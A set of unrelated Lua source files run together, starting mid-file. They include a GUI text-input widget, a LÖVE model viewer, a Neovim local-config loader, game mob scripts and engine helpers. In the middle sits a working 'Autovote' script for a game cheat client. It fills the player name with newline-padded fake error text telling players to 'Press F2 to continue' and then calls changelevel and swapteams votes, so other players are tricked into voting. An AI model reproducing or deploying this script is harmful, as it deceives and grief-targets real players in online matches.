Mouse.IsClicked(1) then TextCursorAnchor = TextCursorPos DragSelect = true end ShouldUpdateTransform = true IsShiftDown = true end end if Mouse.IsReleased(1) then DragSelect = false if TextCursorAnchor == TextCursorPos then TextCursorAnchor = -1 end end if ShouldUpdateTransform then ClearAnchor = not IsShiftDown UpdateTransform(Instance) end if Keyboard.IsPressed('return') then Result = true ClearFocus = true end if Instance.TextChanged or Back then if Options.ReturnOnText then Result = true end Instance.TextChanged = false end if ClearAnchor then TextCursorAnchor = -1 end else if Instance.NumbersOnly and (Instance.Text == "" or Instance.Text == ".") then Instance.Text = "0" end end if Instance == Focused then Options.BgColor = Style.InputEditBgColor end local TX, TY = Window.TransformPoint(X, Y) Region.Begin(Instance.Id, { X = X, Y = Y, W = W, H = H, BgColor = Options.BgColor, SX = TX, SY = TY, Intersect = true, IgnoreScroll = true, Rounding = Options.Rounding }) if Instance == Focused then DrawSelection(Instance, X, Y, W, H, Options.SelectColor) DrawCursor(Instance, X, Y, W, H) end if Instance.Text ~= "" then if Instance == Focused or Options.Align == 'left' then Cursor.SetPosition(X + 2.0, Y) else local TextW = Style.Font:getWidth(Instance.Text) Cursor.SetPosition(X + (W * 0.5) - (TextW * 0.5), Y) end Text.Begin(Instance.Text, {AddItem = false}) end Region.End() Region.ApplyScissor() Cursor.SetItemBounds(X, Y, W, H) Cursor.SetPosition(X, Y) Cursor.AdvanceX(W) Cursor.AdvanceY(H) Window.AddItem(X, Y, W, H, WinItemId) if ClearFocus then if Instance.NumbersOnly then local Value = tonumber(Instance.Text) if Value ~= nil then Instance.Text = tostring(Value) end end LastText = Instance.Text Focused = nil Region.ResetTransform(Instance.Id) end Stats.End('Input') return Result end function Input.Text(Ch) if Focused ~= nil then if not IsValidDigit(Focused, Ch) then return end if TextCursorAnchor ~= -1 then DeleteSelection(Focused) end if TextCursorPos == 0 then Focused.Text = Ch .. Focused.Text else local Temp = Focused.Text local LOffset = UTF8.offset(Temp, 1, TextCursorPos) local ROffset = UTF8.offset(Temp, 2, TextCursorPos) Focused.Text = string.sub(Temp, 1, LOffset) Focused.Text = Focused.Text .. Ch Focused.Text = Focused.Text .. string.sub(Temp, ROffset) end TextCursorPos = math.min(TextCursorPos + 1, #Focused.Text) TextCursorAnchor = -1 UpdateTransform(Focused) Focused.TextChanged = true end end function Input.Update(dt) local Delta = dt * 2.0 if FadeIn then TextCursorAlpha = math.min(TextCursorAlpha + Delta, 1.0) FadeIn = TextCursorAlpha < 1.0 else TextCursorAlpha = math.max(TextCursorAlpha - Delta, 0.0) FadeIn = TextCursorAlpha == 0.0 end end function Input.GetText() if Focused ~= nil then if Focused.NumbersOnly and (Focused.Text == "" or Focused.Text == ".") then return "0" end return Focused.Text end return LastText end function Input.GetHeight() return Style.Font:getHeight() end function Input.IsFocused() return Focused ~= nil end return Input
local iqm = require("lib.iqm") local cpml = require("lib.cpml") local shader = love.graphics.newShader [[ varying vec3 f_normal; #ifdef VERTEX attribute vec3 VertexNormal; uniform mat4 u_model; uniform mat4 u_viewProj; vec4 position(mat4 _, vec4 vertex) { f_normal = mat3(u_model) * VertexNormal; return u_viewProj * u_model * vertex; } #endif #ifdef PIXEL uniform vec4 u_light; const float exposure = 1.5; const float gamma = 2.2; vec4 effect(vec4 _col, Image s_color, vec2 _uv, vec2 _sc) { vec4 color = gammaToLinear(_col); vec3 normal = normalize(f_normal); float shade = max(0.0, dot(normal, u_light.xyz)); color.rgb *= shade; color.rgb *= u_light.w; // RomBinDaHouse color.rgb = exp( -1.0 / ( 2.72*color.rgb + 0.15 ) ); color.rgb = pow(color.rgb, vec3(1.0 / gamma)); return vec4(color.rgb, 1.0); } #endif ]] local object = { model = iqm.load("models/cthulhu.iqm"), position = cpml.vec3(0, 0, 0) } local inspect = require('lib.inspect.inspect') print(inspect(object.model.mesh:getVertexFormat())) local camera_fov = 60 local camera_pos = cpml.vec3(0, -5, -15) local light_direction = cpml.vec3(0, -0.76, 0.65):normalize() local light_intensity = 3 local dragging = false function love.mousepressed(x, y, b) if b == 1 then dragging = true love.mouse.setRelativeMode(true) end end function love.mousereleased(x, y, b) if b == 1 then dragging = false love.mouse.setRelativeMode(false) end end local angle = cpml.vec2(0, 0) local sensitivity = 0.5 function love.mousemoved(x, y, mx, my) if dragging then angle.x = angle.x + math.rad(mx * sensitivity) angle.y = angle.y + math.rad(my * sensitivity) end end function love.draw() -- clear the depth buffer -- l3d.clear() -- view matrix (i.e. camera transform) local v = cpml.mat4() v:translate(v, camera_pos) v:rotate(v, -math.pi/2, cpml.vec3.unit_x) v:rotate(v, angle.y, cpml.vec3.unit_x) v:rotate(v, angle.x, cpml.vec3.unit_z) -- projection matrix (i.e. screen transform) local w, h = love.graphics.getDimensions() local p = cpml.mat4.from_perspective(camera_fov, w/h, 0.1, 1000.0) love.graphics.setShader(shader) -- update shader uniforms. set viewProj once, model for each. shader:send("u_viewProj", (v*p):to_vec4s()) shader:send("u_light", { light_direction.x, light_direction.y, light_direction.z, light_intensity }) -- enable depth and draw only front-facing polygons love.graphics.setDepthMode('less', true) -- love.graphics.setMeshCullMode('back') -- l3d.set_depth_test("less") -- l3d.set_culling("back") love.graphics.setBlendMode("replace") -- model matrix (i.e. local transform) local m = cpml.mat4() m = m:translate(m, object.position) shader:send("u_model", m:to_vec4s()) for _, buffer in ipairs(object.model) do object.model.mesh:setDrawRange(buffer.first, buffer.last) love.graphics.draw(object.model.mesh) end -- reset everything so you can draw 2D again. -- l3d.set_depth_test() -- l3d.set_culling() love.graphics.setBlendMode("alpha") end
local HashMap = require "config-local.hashmap" local Notifier = require "config-local.notify" local utils = require "config-local.utils" local api = vim.api local hashmap, notifier local M = { -- Default config config = { config_files = { ".vimrc.lua", ".vimrc" }, hashfile = vim.fn.stdpath "data" .. "/config-local", autocommands_create = true, commands_create = true, silent = false, lookup_parents = false, }, } ---Forget a config file --- function M.forget() local filename = vim.fn.expand "%:p" hashmap:write(filename, nil) end ---Confirm a config file on save --- function M.confirm() local filename = vim.fn.expand "%:p" local state = hashmap:verify(filename) if state ~= "t" then local choice = notifier:confirm( "Do you want to mark this config as trusted: " .. filename .. "?", "&Yes\n&No" ) if choice == 1 then return M.trust(filename) end end end ---Ignore local configuration --- --- @param filename string: a file name function M.ignore(filename) filename = filename or M.lookup() if not filename then return notifier:notify( "Config file doesn't found: " .. table.concat(M.config.config_files, ","), 4 ) end hashmap:write(filename, "!") notifier:notify('Config file "' .. filename .. '" marked as ignored', 3) end ---Edit local configuration --- --- @param filename string: a file name function M.edit(filename) filename = filename or M.lookup() or M.config.config_files[1] api.nvim_command("edit " .. filename) end ---Mark the given filename as trusted --- --- @param filename string: a file name function M.trust(filename) if not utils.contains_filename(M.config.config_files, filename) then return notifier:notify('Unsupported config filetype: "' .. filename .. '"', 4) end hashmap:trust(filename) notifier:notify('Config file "' .. filename .. '" marked as trusted') M.read(filename) end ---Read the given filename function M.read(filename) api.nvim_command("source " .. filename) notifier:onotify('Config file loaded: "' .. vim.fn.fnamemodify(filename, ":~:.") .. '"') end ---Look for config files function M.lookup() local path = M.config.lookup_parents and ";." or "." for _, filename in ipairs(M.config.config_files) do filename = vim.fn.findfile(filename, path) if filename ~= "" then return vim.fn.fnamemodify(filename, ":p") end end end ---Load config if it exist in the current directory --- function M.source() local filename = M.lookup() if filename then local verify = hashmap:verify(filename) -- Read the config if verify == "t" then M.read(filename) -- Verify the config elseif verify == "u" then local msg = 'Unknown config file found: "' .. vim.fn.fnamemodify(filename, ":~:.") .. '"' local choice = notifier:confirm(msg, "&skip\n&open\n&ignore\n&trust") -- Edit config if choice == 2 then M.edit(filename) -- Mark the config as ignore elseif choice == 3 then M.ignore(filename) -- Mark the config as trusted elseif choice == 4 then M.trust(filename) end -- Ignore the config else notifier:onotify('File "' .. filename .. '" is ignored') end end api.nvim_command "doautocmd User ConfigFinished" end -- Setup the plugin --- function M.setup(cfg) -- Update config if cfg ~= nil then M.config = vim.tbl_deep_extend("force", M.config, cfg) end local config = M.config local rc_files = M.config.config_files -- Initialize tools hashmap = HashMap:init(config.hashfile) notifier = Notifier:init(config.silent) if #rc_files == 0 then return notifier:notify('Invalid config: "config_files" is empty', 4) end if M.config.commands_create then api.nvim_command "command! ConfigEdit lua require'config-local'.edit()<CR>" api.nvim_command "command! ConfigSource lua require'config-local'.source()<CR>" api.nvim_command "command! ConfigTrust lua require'config-local'.trust(vim.fn.expand('%:p'))<CR>" api.nvim_command "command! ConfigIgnore lua require'config-local'.ignore()<CR>" end if M.config.autocommands_create then utils.augroup("config-local", { -- Source local configs "DirChanged global nested lua require'config-local'.source()", "VimEnter * nested lua require'config-local'.source()", -- Confirm local configs "BufWritePost " .. table.concat( utils.map(rc_files, function(f) return "**/" .. f end), "," ) .. " lua require'config-local'.confirm()", -- Fix filetype for '.vimrc.lua' utils.contains(rc_files, ".vimrc.lua") and "BufRead .vimrc.lua set filetype=lua", }) end end return M
local ui_new_checkbox = ui.new_checkbox local ui_new_slider = ui.new_slider local ui_new_color_picker = ui.new_color_picker local ui_set_callback = ui.set_callback local ui_get = ui.get local ui_set = ui.set local ui_reference = ui.reference local math_min = math.min local math_max = math.max local math_floor = math.floor local renderer_text = renderer.text local renderer_rectangle = renderer.rectangle local renderer_line = renderer.line local renderer_measure_text = renderer.measure_text local globals_curtime = globals.curtime local globals_tickcount = globals.tickcount local globals_mapname = globals.mapname local client_exec = client.exec local client_screen_size = client.screen_size local client_userid_to_entindex = client.userid_to_entindex local client_set_cvar = client.set_cvar local client_delay_call = client.delay_call local client_set_event_callback = client.set_event_callback local entity_get_local_player = entity.get_local_player local string_format = string.format local table_concat = table.concat -- [About]-------------------------------------------------------------------------------------------------------------- -- Made by w7rus (Astolfo) -- Credits: duk [https://gamesense.pub/forums/viewtopic.php?id=10838] -- spongyguy [https://gamesense.pub/forums/viewtopic.php?id=8383] -- [Configuration] --------------------------------------------------------------- [Description] ----------------------- local b_autovote_enable = ui_new_checkbox("Misc", "Miscellaneous", "Autovote") local i_autovote_relPosX = ui_new_slider("Misc", "Miscellaneous", "Autovote > Indicator PosX", 0, 100, 50, true, "%", 1) local i_autovote_relPosY = ui_new_slider("Misc", "Miscellaneous", "Autovote > Indicator PosY", 0, 100, 95, true, "%", 1) local i_autovote_relSizeX = ui_new_slider("Misc", "Miscellaneous", "Autovote > Indicator SizeX", 0, 100, 100, true, "%", 1) local i_autovote_relSizeY = ui_new_slider("Misc", "Miscellaneous", "Autovote > Indicator SizeY", 0, 100, 3, true, "%", 1) local str_autovote_voteName = "👌 \nAn error has occured!\nPress F2 to continue..." local b_autovote_keepVoteName = ui_new_checkbox("Misc", "Miscellaneous", "Autovote > Keep vote name") local b_autovote_debug = ui_new_checkbox("Misc", "Miscellaneous", "Autovote > Debug") -- ["Do not edit below this line"] ------------------------------------------------------------------------------------- -- [Calculated configuration] ------------------------------------------------------------------------------------------ local entIndex_localEntCCSPlayer = entity_get_local_player() local entIndex_localEntCCSPlayer_pName = cvar.name:get_string() local i_autovote_scrWidth, i_autovote_scrHeight = client_screen_size() local i_autovote_eVoteCast_tSwapTeams_timeStamp = 0 local i_autovote_eVoteCast_tChangeLevel_timeStamp = 0 local i_autovote_eVoteCast_tAny_timeStamp = 0 local i_autovote_eVoteOptions_tickStamp = 0 local b_autovote_tSwapTeams_cooldown = false local b_autovote_tChangeLevel_cooldown = false local b_autovote_tAny_cooldown = false local i_autovote_voteCast = 0 local t_autovote_voteOptions = {} local str_autovote_eVoteCast_voteName = "" local ref_autovote_stealPlayerName = ui_reference("Misc", "Miscellaneous", "Steal player name") -- [Functions] --------------------------------------------------------------------------------------------------------- function func_autovote_eVoteOptions(event) if not ui_get(b_autovote_enable) then return end t_autovote_voteOptions[0] = event.option1 t_autovote_voteOptions[1] = event.option2 t_autovote_voteOptions[2] = event.option3 t_autovote_voteOptions[3] = event.option4 t_autovote_voteOptions[4] = event.option5 i_autovote_eVoteOptions_tickStamp = globals_tickcount() end function func_autovote_eVoteCast_delayCall2() if not ui_get(b_autovote_keepVoteName) then client_set_cvar("name", entIndex_localEntCCSPlayer_pName) end end function func_autovote_eVoteCast_delayCall1() local str_serverMap = globals_mapname() if i_autovote_voteCast == 0 and b_autovote_tChangeLevel_cooldown == false and b_autovote_tAny_cooldown == false then client_exec("callvote changelevel " .. str_serverMap) i_autovote_voteCast = 1 b_autovote_tChangeLevel_cooldown = true b_autovote_tAny_cooldown = true i_autovote_eVoteCast_tChangeLevel_timeStamp = globals_curtime() i_autovote_eVoteCast_tAny_timeStamp = globals_curtime() end if i_autovote_voteCast == 1 and b_autovote_tSwapTeams_cooldown == false and b_autovote_tAny_cooldown == false then client_exec("callvote swapteams") i_autovote_voteCast = 0 b_autovote_tSwapTeams_cooldown = true b_autovote_tAny_cooldown = true i_autovote_eVoteCast_tSwapTeams_timeStamp = globals_curtime() i_autovote_eVoteCast_tAny_timeStamp = globals_curtime() end client_delay_call(0.25, func_autovote_eVoteCast_delayCall2) end function func_autovote_eVoteCast(event) if not ui_get(b_autovote_enable) then return end entIndex_serverEntCCSPlayer = event.entityid if entIndex_serverEntCCSPlayer == nil then return end if b_autovote_tAny_cooldown == false then if entIndex_serverEntCCSPlayer == entIndex_localEntCCSPlayer then if i_autovote_eVoteOptions_tickStamp == globals_tickcount() then if t_autovote_voteOptions[event.vote_option] == "No" then str_autovote_eVoteCast_voteName = "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n" .. str_autovote_voteName .. "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n" client_set_cvar("name", str_autovote_eVoteCast_voteName) client_delay_call(0.25, func_autovote_eVoteCast_delayCall1) end end end end end function func_autovote_ePlayerConnectFull(event) entIndex_localEntCCSPlayer = entity_get_local_player() if client_userid_to_entindex(event.userid) == entIndex_localEntCCSPlayer then entIndex_localEntCCSPlayer_pName = cvar.name:get_string() i_autovote_eVoteCast_tSwapTeams_timeStamp = 0 i_autovote_eVoteCast_tChangeLevel_timeStamp = 0 i_autovote_eVoteCast_tAny_timeStamp = 0 i_autovote_eVoteOptions_tickStamp = 0 b_autovote_tSwapTeams_cooldown = false b_autovote_tChangeLevel_cooldown = false b_autovote_tAny_cooldown = false i_autovote_voteCast = 0 t_autovote_voteOptions = {} func_autovote_setup() end end function func_autovote_eDraw() if not ui_get(b_autovote_enable) then return end local i_autovote_eDraw_timeStamp = globals_curtime() local i_autovote_eVoteCast_tSwapTeams_cooldown = 0 local i_autovote_eVoteCast_tChangeLevel_cooldown = 0 local i_autovote_eVoteCast_tSwapTeams_duration = i_autovote_eDraw_timeStamp - i_autovote_eVoteCast_tSwapTeams_timeStamp local i_autovote_eVoteCast_tChangeLevel_duration = i_autovote_eDraw_timeStamp - i_autovote_eVoteCast_tChangeLevel_timeStamp local i_autovote_eVoteCast_tAny_duration = 0 local i_autovote_eVoteCast_tAny_limit = 0 if b_autovote_tSwapTeams_cooldown then if i_autovote_eVoteCast_tSwapTeams_duration > 300 then b_autovote_tSwapTeams_cooldown = false end i_autovote_eVoteCast_tSwapTeams_cooldown = i_autovote_eVoteCast_tSwapTeams_duration else i_autovote_eVoteCast_tSwapTeams_cooldown = 0 end if b_autovote_tChangeLevel_cooldown then if i_autovote_eVoteCast_tChangeLevel_duration > 300 then b_autovote_tChangeLevel_cooldown = false end i_autovote_eVoteCast_tChangeLevel_cooldown = i_autovote_eVoteCast_tChangeLevel_duration else i_autovote_eVoteCast_tChangeLevel_cooldown = 0 end if b_autovote_tAny_cooldown then if math_min(i_autovote_eVoteCast_tSwapTeams_cooldown, i_autovote_eVoteCast_tChangeLevel_cooldown) < 90 and (b_autovote_tSwapTeams_cooldown == false or b_autovote_tChangeLevel_cooldown == false) then i_autovote_eVoteCast_tAny_duration = i_autovote_eDraw_timeStamp - i_autovote_eVoteCast_tAny_timeStamp if i_autovote_eVoteCast_tAny_duration > 90 then b_autovote_tAny_cooldown = false end else i_autovote_eVoteCast_tAny_duration = math_max(i_autovote_eVoteCast_tSwapTeams_cooldown, i_autovote_eVoteCast_tChangeLevel_cooldown) end else i_autovote_eVoteCast_tAny_duration = 0 end if b_autovote_tAny_cooldown then if b_autovote_tSwapTeams_cooldown or b_autovote_tChangeLevel_cooldown then i_autovote_eVoteCast_tAny_limit = 90 end if b_autovote_tSwapTeams_cooldown and b_autovote_tChangeLevel_cooldown then i_autovote_eVoteCast_tAny_limit = 300 end else i_autovote_eVoteCast_tAny_limit = 0 end if ui_get(b_autovote_debug) then local x, y = 8, 256 renderer_text(x, y + 8 * 0, 255, 255, 255, 255, nil, 0, "globals_curtime: " .. string_format("%.2f", i_autovote_eDraw_timeStamp)) renderer_text(x, y + 8 * 1, 255, 255, 255, 255, nil, 0, "SwapTeams_timeStamp: " .. string_format("%.2f", i_autovote_eVoteCast_tSwapTeams_timeStamp)) renderer_text(x, y + 8 * 2, 255, 255, 255, 255, nil, 0, "ChangeLevel_timeStamp: " .. string_format("%.2f", i_autovote_eVoteCast_tChangeLevel_timeStamp)) renderer_text(x, y + 8 * 3, 255, 255, 255, 255, nil, 0, "Any_timeStamp: " .. string_format("%.2f", i_autovote_eVoteCast_tAny_timeStamp)) renderer_text(x, y + 8 * 5, 255, 255, 255, 255, nil, 0, "SwapTeams_duration: " .. string_format("%.2f", i_autovote_eVoteCast_tSwapTeams_duration)) renderer_text(x, y + 8 * 6, 255, 255, 255, 255, nil, 0, "ChangeLevel_duration: " .. string_format("%.2f", i_autovote_eVoteCast_tChangeLevel_duration)) renderer_text(x, y + 8 * 7, 255, 255, 255, 255, nil, 0, "Any_duration: " .. string_format("%.2f", i_autovote_eVoteCast_tAny_duration)) renderer_text(x, y + 8 * 8, 255, 255, 255, 255, nil, 0, "Any_limit: " .. string_format("%.2f", i_autovote_eVoteCast_tAny_limit)) renderer_text(x, y + 8 * 9, 255, 255, 255, 255, nil, 0, "Any_overall: " .. string_format("%.2f", i_autovote_eVoteCast_tAny_limit - i_autovote_eVoteCast_tAny_duration)) renderer_text(x, y + 8 * 11, 255, 255, 255, 255, nil, 0, "SwapTeams_cooldown: " .. tostring(b_autovote_tSwapTeams_cooldown)) renderer_text(x, y + 8 * 12, 255, 255, 255, 255, nil, 0, "ChangeLevel_cooldown: " .. tostring(b_autovote_tChangeLevel_cooldown)) renderer_text(x, y + 8 * 13, 255, 255, 255, 255, nil, 0, "Any_cooldown: " .. tostring(b_autovote_tAny_cooldown)) renderer_text(x, y + 8 * 14, 255, 255, 255, 255, nil, 0, "voteOptions: " .. table_concat(t_autovote_voteOptions, ", ")) end local i_autovote_absPosX = math_floor(i_autovote_scrWidth * (ui_get(i_autovote_relPosX) / 100)) local i_autovote_absPosY = math_floor(i_autovote_scrHeight * (ui_get(i_autovote_relPosY) / 100)) local i_autovote_absSizeX = math_floor(i_autovote_scrWidth * (ui_get(i_autovote_relSizeX) / 100)) local i_autovote_absSizeY = math_floor(i_autovote_scrHeight * (ui_get(i_autovote_relSizeY) / 100)) if ui.is_menu_open() then renderer_rectangle((i_autovote_absPosX - i_autovote_absSizeX / 2), i_autovote_absPosY - i_autovote_absSizeY / 2, i_autovote_absSizeX, i_autovote_absSizeY, 0, 0, 0, 127) renderer_text(i_autovote_absPosX - i_autovote_absSizeX / 2 + 64, i_autovote_absPosY, 255, 255, 255, 255, "c", 0, string_format("%d", i_autovote_absSizeX) .. "x" .. string_format("%d", i_autovote_absSizeY) .. " [" .. string_format("%d", i_autovote_absPosX) .. ", " .. string_format("%d", i_autovote_absPosY) .. "]") renderer.line(i_autovote_absPosX - i_autovote_absSizeX / 2, i_autovote_absPosY - i_autovote_absSizeY / 2, i_autovote_absPosX - i_autovote_absSizeX / 2 + 3, i_autovote_absPosY - i_autovote_absSizeY / 2, 255, 255, 255, 255) renderer.line(i_autovote_absPosX - i_autovote_absSizeX / 2, i_autovote_absPosY - i_autovote_absSizeY / 2, i_autovote_absPosX - i_autovote_absSizeX / 2, i_autovote_absPosY - i_autovote_absSizeY / 2 + 3, 255, 255, 255, 255) renderer.line(i_autovote_absPosX - i_autovote_absSizeX / 2, i_autovote_absPosY + i_autovote_absSizeY / 2, i_autovote_absPosX - i_autovote_absSizeX / 2 + 3, i_autovote_absPosY + i_autovote_absSizeY / 2, 255, 255, 255, 255) renderer.line(i_autovote_absPosX - i_autovote_absSizeX / 2, i_autovote_absPosY + i_autovote_absSizeY / 2, i_autovote_absPosX - i_autovote_absSizeX / 2, i_autovote_absPosY + i_autovote_absSizeY / 2 - 3, 255, 255, 255, 255) renderer.line(i_autovote_absPosX + i_autovote_absSizeX / 2, i_autovote_absPosY - i_autovote_absSizeY / 2, i_autovote_absPosX + i_autovote_absSizeX / 2 - 3, i_autovote_absPosY - i_autovote_absSizeY / 2, 255, 255, 255, 255) renderer.line(i_autovote_absPosX + i_autovote_absSizeX / 2, i_autovote_absPosY - i_autovote_absSizeY / 2, i_autovote_absPosX + i_autovote_absSizeX / 2, i_autovote_absPosY - i_autovote_absSizeY / 2 + 3, 255, 255, 255, 255) renderer.line(i_autovote_absPosX + i_autovote_absSizeX / 2, i_autovote_absPosY + i_autovote_absSizeY / 2, i_autovote_absPosX + i_autovote_absSizeX / 2 - 3, i_autovote_absPosY + i_autovote_absSizeY / 2, 255, 255, 255, 255) renderer.line(i_autovote_absPosX + i_autovote_absSizeX / 2, i_autovote_absPosY + i_autovote_absSizeY / 2, i_autovote_absPosX + i_autovote_absSizeX / 2, i_autovote_absPosY + i_autovote_absSizeY / 2 - 3, 255, 255, 255, 255) end if i_autovote_eVoteCast_tAny_duration > 0 then renderer_rectangle((i_autovote_absPosX - i_autovote_absSizeX / 2) + (i_autovote_absSizeX / 2) * (1 - ((i_autovote_eVoteCast_tAny_limit - i_autovote_eVoteCast_tAny_duration) / (i_autovote_eVoteCast_tAny_limit))), i_autovote_absPosY - i_autovote_absSizeY / 2, i_autovote_absSizeX * ((i_autovote_eVoteCast_tAny_limit - i_autovote_eVoteCast_tAny_duration) / (i_autovote_eVoteCast_tAny_limit)), i_autovote_absSizeY, 0, 0, 0, 127) renderer_text(i_autovote_absPosX, i_autovote_absPosY, 255, 255, 255, 255, "c", 0, "Autovote cooldown: " .. string_format("%.2f", i_autovote_eVoteCast_tAny_limit - i_autovote_eVoteCast_tAny_duration)) else if b_autovote_tSwapTeams_cooldown or b_autovote_tChangeLevel_cooldown then renderer_text(i_autovote_absPosX, i_autovote_absPosY, 0, 255, 0, 255, "c", 0, "x1 Autovote available!") else renderer_text(i_autovote_absPosX, i_autovote_absPosY, 0, 255, 0, 255, "c", 0, "x2 Autovote available!") end end if i_autovote_eVoteCast_tAny_limit - i_autovote_eVoteCast_tAny_duration > 0 and i_autovote_eVoteCast_tAny_limit - i_autovote_eVoteCast_tAny_duration < 1 and ui_get(b_autovote_keepVoteName) then client_set_cvar("name", entIndex_localEntCCSPlayer_pName) end end function func_autovote_setup_delayCall() client_set_cvar("name", entIndex_localEntCCSPlayer_pName) end function func_autovote_setup() if ui_get(b_autovote_enable) then client_exec("clear") ui_set(ref_autovote_stealPlayerName, true) client_set_cvar("name", "\n\xAD\xAD\xAD\xAD") client_exec("status") client_delay_call(0.5, func_autovote_setup_delayCall) else client_set_cvar("name", entIndex_localEntCCSPlayer_pName) end end func_autovote_setup() ui_set_callback(b_autovote_enable, func_autovote_setup) client_set_event_callback("player_connect_full", func_autovote_ePlayerConnectFull) client_set_event_callback("vote_cast", func_autovote_eVoteCast) client_set_event_callback("vote_options", func_autovote_eVoteOptions) client_set_event_callback("paint", func_autovote_eDraw) -- [End of file] -------------------------------------------------------------------------------------------------------
----------------------------------- -- Area: Throne Room -- Mob: Zeid (Phase 2) -- Mission 9-2 BASTOK BCNM Fight ----------------------------------- mixins = {require("scripts/mixins/job_special")} require("scripts/globals/monstertpmoves") require("scripts/globals/settings") require("scripts/globals/titles") require("scripts/globals/status") ----------------------------------- function onMobSpawn(mob) tpz.mix.jobSpecial.config(mob, { specials = { {id = tpz.jsa.BLOOD_WEAPON, hpp = math.random(20, 50)}, }, }) end function onMobFight(mob, target) local zeid = mob:getID() local shadow1 = GetMobByID(zeid + 1) local shadow2 = GetMobByID(zeid + 2) if mob:getHPP() <= 77 and mob:getTP() >= 1000 and shadow1:isDead() and shadow2:isDead() then mob:useMobAbility(984) end end function onMobDeath(mob, player, isKiller) mob:getBattlefield():setLocalVar("loot", 0) DespawnMob(mob:getID()+1) DespawnMob(mob:getID()+2) end
local TRIGGER = script:GetCustomProperty("Trigger"):WaitForObject() local FADE_OUT = script:GetCustomProperty("FadeOut") local FADE_IN = script:GetCustomProperty("FadeIn") function OnBeginOverlap(trigger, other) if other:IsA("Player") then local fadeOut = World.SpawnAsset(FADE_OUT) Task.Wait(3) Events.BroadcastToServer("TeleportPlayer") local fadeIn = World.SpawnAsset(FADE_IN) end end TRIGGER.interactedEvent:Connect(OnBeginOverlap)
-- ---WARNING: deprecated ---该函数未指定窗口化分辨率,请使用ChangeVideoMode ---设置窗口化(true)/非窗口化(false) ---@param b boolean function SetWindowed(b) end ---设置窗口大小 ---可以在运行时动态设置 ---@param width number ---@param height number function SetResolution(width, height) local w = lstg.WindowHelperDesktop:getInstance() if w and not w:isFullscreen() then w:setSize(cc.size(width, height)) end end ---改变视频选项。若成功返回true,否则返回false ---@param width number ---@param height number ---@param windowed boolean ---@param vsync boolean function ChangeVideoMode(width, height, windowed, vsync) local w = lstg.WindowHelperDesktop:getInstance() if w then if windowed then w:setSize(cc.size(width, height)) else w:setFullscreen() end w:setVsync(vsync) SystemLog(string.format( 'change video mode to: (%d, %d), %s, %s', width, height, windowed and 'Windowed' or 'FullScreen', vsync and 'VSync On' or 'VSync Off')) w:moveToCenter() return true else return false end end ---设置是否显示光标,默认显示 ---@param b boolean function SetSplash(b) local w = lstg.WindowHelperDesktop:getInstance() if w then w:setCursorVisible(b) end end ---设置窗口标题 ---默认为"LuaSTG-x" ---@param title string function SetTitle(title) local w = lstg.WindowHelperDesktop:getInstance() if w then w:setTitle(title) --Print('set title to '..title) end end
local CONST = require "libs.constants" local LUME = require "libs.lume" local M = {} local EMPTY_COLOR = 0x000000 M.WIDTH = CONST.WINDOW_WIDTH M.HEIGHT = CONST.WINDOW_HEIGHT M.BUFFER = buffer.create(M.WIDTH * M.HEIGHT, { {name=hash("rgb"), type=buffer.VALUE_TYPE_UINT8, count=3} } ) native_raycasting.set_buffer(M.WIDTH, M.HEIGHT, M.BUFFER) native_raycasting.update_plane(0, 0, M.WIDTH, M.HEIGHT) native_raycasting.set_camera_fov(CONST.FOV) return M
local p = premake newaction { trigger = "hivemind", shortname = "Hivemind Distributed Compile", description = "Generate Hivemind Distributed Compile Commands", toolset = "msc-v142", valid_kinds = { "ConsoleApp", "StaticLib", "SharedLib" }, valid_languages = { "C", "C++"}, valid_tools = { cc = { "msc" }, }, onWorkspace = function(wks) p.modules.hivemind.generateWorkspace(wks) end, onProject = function(prj) p.modules.hivemind.generateProject(prj) end, onCleanWorkspace = function(wks) p.modules.hivemind.cleanWorkspace(wks) end, onCleanProject = function(prj) p.modules.hivemind.cleanProject(prj) end, onCleanTarget = function(prj) p.modules.hivemind.cleanTarget(prj) end, } return function(cfg) return (_ACTION == "hivemind") end
local globals = {} --- w = width, d = depth globals.terrain_dimensions = function (w, d) return { width = w, depth = d } end globals.vector2 = function (v_x, v_y) return { x = v_x, y = v_y } end globals.vector3 = function (v_x, v_y, v_z) return { x = v_x, y = v_y, z = v_z } end globals.color3 = function (c_r, c_g, c_b) return { r = c_r, g = c_g, v = c_b } end globals.quaternion = function (r_x, r_y, r_z) return { x = r_x, y = r_y, z = r_z } end globals.initialize_terrain_base = function (base_name, dimensions_wd) --- Call internal function internal_initialize_terrain_base(base_name, dimensions_wd.width, dimensions_wd.depth) end globals.initialize_terrain_instance = function (base_name, position_xyz, rotation_xyz, size_f, color_rgb, gravity_f) internal_initialize_terrain_instance(base_name, position_xyz.x, position_xyz.y, position_xyz.z, rotation_xyz.x, rotation_xyz.y, rotation_xyz.z, size_f, color_rgb.r, color_rgb.g, color_rgb.b, gravity_f) end ---globals.initialize_entity = function (entity_name, position_xyz, direction_xyz, size_f, is_main_b) --- internal_initialize_entity(entity_name, --- position_xyz.x, position_xyz.y, position_xyz.z, --- direction_xyz.x, direction_xyz.y, direction_xyz.z, --- size_f, --- is_main_b) ---end --- ---globals.attach_rendering_component = function (entity_name, roughness, metalness, color_rgb) --- internal_attach_rendering_component(entity_name, --- roughness, --- metalness, --- color_rgb.r, color_rgb.g, color_rgb.b) ---end --- ---globals.attach_animation_component = function (entity_name) --- internal_attach_animation_component(entity_name) ---end --- ---globals.attach_physics_component = function (entity_name, enabled_b) --- internal_attach_physics_component(entity_name, enabled_b) ---end --- ---globals.attach_camera_component = function (entity_name, is_third_person_b) --- internal_attach_physics_component(entity_name, is_third_person_b) ---end --- ---globals.attach_input_component = function (entity_name) --- internal_attach_input_component(entity_name) ---end --- ---globals.bind_camera_to_3d_output = function (entity_name) --- internal_bind_camera_to_3d_output(entity_name) ---end return globals
